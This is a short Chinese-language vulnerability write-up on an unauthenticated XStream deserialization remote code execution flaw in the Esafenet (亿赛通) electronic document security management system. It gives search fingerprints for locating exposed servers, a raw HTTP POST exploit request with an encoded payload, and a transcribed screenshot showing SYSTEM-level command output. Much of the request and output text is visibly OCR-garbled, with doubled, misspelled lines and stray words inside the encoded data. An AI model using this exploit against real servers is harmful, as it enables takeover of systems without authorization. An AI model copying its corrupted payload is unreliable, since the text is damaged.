## Y5-30亿赛通-电子文档安全管理系统-反序列化RCE

## 漏洞描述:

某赛通电子文档安全管理系统多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个

### 网站图片:



## 网络测绘:

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

## 漏洞复现:

## payload:

POST /CDGServer3/ODMSubmitApplyService?command=GETSYSTEMINFO HTTP/1.1 FOST /CDGServer3/DUMSubmitApplyService/command=GETSYSTEMINFO HTTF/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIC

# 效果图:

```
1 POST·/CDGServer3/ODMSubmitApplyService?command=GETSYSTEMINFO-HTTP/1.1
                                                                                                                                                                                                                                                                             HTTP/1.1-200
                                                                                                                                                                                                                                                                             HIP/1.1-200
Set-Conkie: 'SESSIONID=F1828AF3E4D069D96CEEADE67F398D4C; 'Path=/CDGS
Content-Type: 'text/html; 'charset=utf-8
Date: 'Thu, '01' Feb: '2024' 12:04:25' GMT
Connection: 'close
Content-Length: '21
                           Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.
             2225.0 Safari/537.36
             Accept-Encoding: gzip, deflate, br
Connection: close
            Content-Type: text/xml
                                                                                                                                                                                                                                                                             nt authority\system
            NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGP
             EIPJAGGBILDKMLDGAENLPAFBKFPFELKLGCEBMBNNKOIBMPHCIOOCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBF
MFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFA
GLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOE
             BERKEPHORBIFLINGGLASITHEBOFFCPCLPAGLCEANCAGITAFORDER CHECKBONNERFOIAOFIKERMONKEEESKKZPECHFKPPKKGOIOB HIBIBAGBIKAMOFLEKDKOOWHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPWHFPDNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDF JNWIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLWHEMBFGOHELCDBFHIFALD
             ITMBFEOHNHBOIONLCJKCPHJPMDLPHDDCFJNNGKDMEINHTDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJMPCGLPKIED
LEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFB
GKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHD
             GBBFINKHLLFIHONFOJATEJJLPPFMAEHBHDEBDIDLCMCIKAFBEBFEBGJECDEINCPNPKTENONIMPBJCCMCHOAJHHDKDKEGJGGJDJ
IDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGECKMHOFNBLLAALGMKNJONNGIDJLBFECJNLKHMBCKELDP
BDMBFEHAKBHEMNDFBBEDCAMMHNNGKDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPC
             BDELFJPAHTCOPGANJALHERMFHAJLNECAEGOGGBOIDLJENNEEDMAGEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICEMFLIN
DMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGWHCLEPFHCCKNFKPEOWHPLMOHBGDHCOGEIGPMIGLAH
KBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNWLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPA
             NPLIBGDCCNNDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGNMBNNMFBEJCDDDFOPAJOMBNKBDBG
KKMLKCBBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABE
NFKEHCLIKMFGHPPJFIBBANPIOFKEEBIFIBDIIAIKENFILIDPDELJDMOPFKBOHPGLIPMNCFJFDCJGKCFOAJMPIIBEOHJPPNHLOCIN
             IECHMJJMCKHICOMIMLHJAOJIGIFLMINANOFADOGDLLHCEKPECHDFBGIPEPNJBJOGLHDLKFLBFPLPFAENWMIFOMWNCJGJJFPGFHOK
MAGCEOCKMJJPPAFBNEAKOAMMEHPGCBAJCHDBGJANBBHGIBMPHAMCEHEFLBAGOKDPKIPPDFLJIADKKOJPEPIGAKPCGKBNFBPLLKLE
```